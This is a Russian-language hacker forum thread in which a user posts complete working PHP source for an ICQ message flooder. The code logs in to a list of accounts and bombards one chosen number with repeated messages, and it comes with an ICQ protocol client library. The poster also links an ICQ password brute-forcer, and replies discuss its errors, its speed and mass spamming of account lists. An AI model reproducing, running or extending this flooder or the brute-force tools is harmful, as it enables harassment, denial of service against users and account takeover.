Привет всем!! Вчера от нечего делать написал флудер, даже не думал он будет такой мощный, все зависит от кол-ва асек Механизм работы: скрипт сначала заходит на все аськи из списка а потом резко начинает флудить высказывайте свои предложения по скрипту, это только его первая версия, так что все впереди)) вот собственно сам скрипт (написан с юмором) flooder.php PHP: <?php set_time_limit(0); ignore_user_abort(1); echo '<html> <head><title>Артиллерийское депо (ICQ Flooder)</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><style type="text/css"> a:link {color: #9a9a9a; text-decoration: none;} a:active {color: #9a9a9a; text-decoration: none;} a:visited {color: #9a9a9a; text-decoration: none;} a:hover {color: #000000; text-decoration: none;}input, textarea, select{background-color: #ffffff;border:#000000 1pt solid;color: #000000;font-size: 9px;margin: 0px;padding-bottom: 1px;padding-left: 2px;padding-right: 0px;padding-top: 0px;font-family: Verdana, arial, Helvetica;line-height: 9pt;}body, table{font-family: Verdana, arial, Helvetica; color: #000000;font-size: 11px;}</style></head><body bgcolor="#f0f0f0">'; require_once ("icqlib.php"); if (isset($_POST['submit'])) { foreach ($_POST as $post_date_key => $post_date) { if (empty($post_date)) { die("Вы не заполнили поля"); } } $num = $_POST['uin']; $mn = $_POST['mn']; $message = $_POST['message']; $source = "flooder.txt"; $file_s = file($source); $count = count($file_s); $i = 1; $connected = array(); echo "Заряжаем пушки<br>"; flush(); foreach ($file_s as $str) { list($uin, $password) = explode(";", $str); $uin = trim($uin); $password = trim($password); $debug = false; $icq{$i} = new ICQclient($uin, $password); $icq{$i}->connect(); if ($icq{$i}->connected) { $icq{$i}->login(); if ($icq{$i}->logged) { $put = array_push($connected, $i); } } $i++; } echo "Пушки заряжены<br>Начинаем атаку<br>"; flush(); foreach ($connected as $z) { for ($n = 0; $n < $mn; $n++) { $icq{$z}->send_message($num, $message); } echo "Пушка №" . $z . " успешно выстрелила<br>"; flush(); } foreach ($connected as $z) { $icq{$z}->disconnect(); } } else { echo "<form method='POST' name='submit'><table border=0> <tr><td width='150'>ICQ</td><td><input type='text' name='uin' size='20'></td></tr> <tr><td width='150'>Кол-во сообщений с одного номера</td><td><input name='mn' type='text' value='1' size='20'></td></tr> <tr><td width='150'>Сообщение</td><td><textarea rows='3' cols='17' name='message'></textarea></td></tr> <tr><td width='150'>Начать флуд</td><td><input type='submit' name='submit' value='Пуск'> </td></tr> </table></form>"; } echo "Разработка:Zedi v.0.1</body></html><noscript>"; ?> icqlib.php PHP: <? class ICQclient { var $socket, $server, $port, $connected; var $uin, $password, $logged; var $client = array(), $sequence, $TLV = array(); var $uin_sendto, $message; function ICQclient($uin, $password) { $this->server = "login.icq.com"; $this->port = 5190; $this->uin = (string )$uin; $this->password = $password; $this->client = array("name" => "icqlib.php", "country" => "ru", "language" => "ru", "major" => 1, "minor" => 0, "lesser" => 0, "build" => 1); } function connect() { $this->socket = @fsockopen($this->server, $this->port); if (!$this->socket) return false; else { $this->connected = true; return true; } } function connect_migration() { list($server, $port) = explode(":", $this->TLV[0x05]); $this->socket = @fsockopen($server, $port); } function login() { if (!$this->connected) $this->connect(); if (!$this->connected) return false; $this->receive_packet(); $this->sequence = rand(0x0000, 0xFFFF); $this->send_packet("login"); $SNAC = $this->receive_packet(); $this->parse_SNAC($SNAC); if (!(@$this->TLV[0x05] and @$this->TLV[0x06])) return false; $this->connect_migration(); $this->send_packet("cookie"); $this->receive_packet(); $this->send_packet("ready"); $this->receive_packet(); $this->logged = true; return true; } function send_message($uin, $message) { if (!$this->logged) return false; $this->uin_sendto = $uin; $this->message = $message; $this->send_packet("message"); $this->receive_packet(); return true; } function getstatus($uin) { if (!$this->logged) return false; $this->uin_sendto = $uin; $this->send_packet("userinfo"); $SNAC = $this->receive_packet(); list(, $subfamily) = unpack("C", $SNAC[3]); if ($subfamily == 6) { list(, $uin_length) = unpack("C", $SNAC[10]); $this->parse_SNAC(substr($SNAC, 15 + $uin_length)); if ($this->TLV[6]) list(, $status_code) = unpack("C", $this->TLV[6][3]); else $status_code = 0xFF; switch ($status_code) { case 0x00: $status = "online"; break; case 0x01: $status = "away"; break; case 0x02: $status = "dnd"; break; case 0x03: $status = "dnd"; break; case 0x04: $status = "na"; break; case 0x05: $status = "na"; break; case 0x10: $status = "occupied"; break; case 0x11: $status = "occupied"; break; case 0x13: $status = "dnd"; break; case 0x20: $status = "free4chat"; break; default: $status = "undefined"; break; } } else $status = "offline"; return $status; } function disconnect() { $this->connected = $this->logged = false; return @fclose($this->socket); } function log_packet($packet, $type = "packet") { global $debug_log; $debug_log .= "<p>$type:<br>"; for ($i = 0; $i < strlen($packet); $i++) { if (strlen(strtoupper(dechex(ord($packet[$i])))) == 1) $debug_log .= "0"; $debug_log .= strtoupper(dechex(ord($packet[$i]))) . " "; } $debug_log .= "</p>"; } function send_packet($type) { global $debug; list($channel, $SNAC) = $this->gen_SNAC($type); $FLAP = pack("CCnn", 0x2A, $channel, $this->sequence, strlen($SNAC)); $packet = $FLAP . $SNAC; if ($debug) $this->log_packet($packet, "send"); @fwrite($this->socket, $packet); $this->sequence++; if ($this->sequence == 0xFFFF) $this->sequence = 0x0000; } function receive_packet() { global $debug; $FLAP = @fread($this->socket, 6); list(, $length) = @unpack("n", substr($FLAP, 4, 2)); $SNAC = @fread($this->socket, $length); $packet = $FLAP . $SNAC; if ($debug) $this->log_packet($packet, "receive"); return $SNAC; } function gen_SNAC($type) { if ($type == "login") { $SNAC = pack("N", 1) . $this->gen_TLV(0x01, $this->uin) . $this->gen_TLV(0x02, xor_encrypt($this->password)) . $this->gen_TLV(0x03, $this->client["name"]) . $this-> gen_TLV(0x16, 266, 2) . $this->gen_TLV(0x17, $this->client["major"], 2) . $this-> gen_TLV(0x18, $this->client["minor"], 2) . $this->gen_TLV(0x19, $this->client["lesser"], 2) . $this->gen_TLV(0x1A, $this->client["build"], 2) . $this->gen_TLV(0x14, 85, 4) . $this->gen_TLV(0x0F, $this->client["language"]) . $this->gen_TLV(0x0E, $this-> client["country"]); $channel = 1; } if ($type == "cookie") { $SNAC = pack("N", 1) . $this->gen_TLV(0x06, $this->TLV[0x06]); $channel = 1; } if ($type == "ready") { // SNAC(01,02) - CLI_READY $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x01\x10" . "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x00\x01\x01\x10" . "\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10" . "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10" . "\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A"; $channel = 2; } if ($type == "message") { // SNAC(04,06) channel 1 - CLI_SEND_ICBM_CH1 $this->TLV[0x0501] = pack("C", 1); $this->TLV[0x0101] = pack("N", 0) . $this->message; $this->TLV[0x02] = $this->gen_TLV(0x0501, $this->TLV[0x0501]) . $this->gen_TLV(0x0101, $this->TLV[0x0101]); $SNAC = pack("nnnNdnca*", 0x04, 0x06, 0, 0, microtime(), 1, strlen($this-> uin_sendto), $this->uin_sendto) . $this->gen_TLV(0x02, $this->TLV[0x02]) . $this-> gen_TLV(0x06, ""); $channel = 2; } if ($type == "userinfo") { // SNAC(02,05) - CLI_LOCATION_INFO_REQ $SNAC = pack("nnnNnca*", 0x02, 0x05, 0, 0, 1, strlen($this->uin_sendto), $this-> uin_sendto); $channel = 2; } return array($channel, $SNAC); } function parse_SNAC($SNAC) { unset($this->TLV); while (strlen($SNAC) > 0) { list(, $type, $length) = unpack("n2", substr($SNAC, 0, 4)); $this->TLV[$type] = substr($SNAC, 4, $length); $SNAC = substr($SNAC, 4 + $length); } } function gen_TLV($type, $value, $length = false) { switch ($length) { case 1: $format = "C"; break; // unsigned char (8 bit) case 2: $format = "n"; break; // unsigned short (16 bit, big endian byte order) case 4: $format = "N"; break; // unsigned long (32 bit, big endian byte order) default: $format = "a*"; break; // NUL-padded string } if ($length === false) $length = strlen($value); return pack("nn" . $format, $type, $length, $value); } } function xor_encrypt($password) { $roast = "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x53\x7a\x95\x7c"; $xored = ""; for ($i = 0; $i < strlen($password); $i++) $xored .= chr(ord($roast[$i]) ^ ord($password[$i])); return $xored; } function put($data, $file) { global $go; $f = fopen($file, "a") or die("File " . $file . " doesn't exist"); fwrite($f, $data); fclose($f); $go++; } ?> и создайте файл flooder.txt с аськами ну или всее сразу можно скачать отсюда _http://slil.ru/26973485 P.S. все зависит от количества асек, все ошибки которые заметите пишите здесь или в ПМ P.P.S вот _http://slil.ru/26984265 еще брут от меня, м.б. кому пригодится
Warning: fopen(stop.txt) [function.fopen]: failed to open stream: Permission denied in /home/**********/domains/*************/public_html/brute/icqlib.php on line 270 Warning: fwrite(): supplied argument is not a valid stream resource in /home/**********/domains/************/public_html/brute/icqlib.php on line 271 Warning: fclose(): supplied argument is not a valid stream resource in /home/*******/domains/*************/public_html/brute/icqlib.php on line 272 Брут запущен Warning: fopen(bad.txt) [function.fopen]: failed to open stream: Permission denied in /home/***********/domains/*****************/public_html/brute/icqlib.php on line 263 File bad.txt doesn't exist ???
а как сделать чтобы он отправлял на базу ну типо создать txt файл и чтобы скрипт по тем асям спамил которые там ? сделайте плизз такой я в этом нешарю совсем ..
Zedi,дельное предложение:Парсер больших тем античата(пример:вопросы новичков по пхп),и сохранение их на сервер(дабы потом все слить и читать оффлайн в метро).Свой вариант у меня есть,но пока не доделан.Желательно из каждой страницы удалять лишний код(все мета-теги итд).Думаю,многие оценят...
на счет твоего брута 0.2, если сгенерить большой сорс то страница брута - тупо пустая.. в чем может быть проблема? пробовал ставить меньший диапазон, все норм..
ога, я уже знаю, это если стоит ограничение по памяти, скоро выложу версию на mysql, там все норм будет, ща времени просто мало((
больше двух влегкую выжимает, можешь посмотреть в теме ICQ брут, там Адреналин апгрейдил мой брут, совмещал с RICQ, писал что у него даже около 4-5PPS, просто пока времени нет вообще)) насчет брута мыл поищи на форуме 100% есть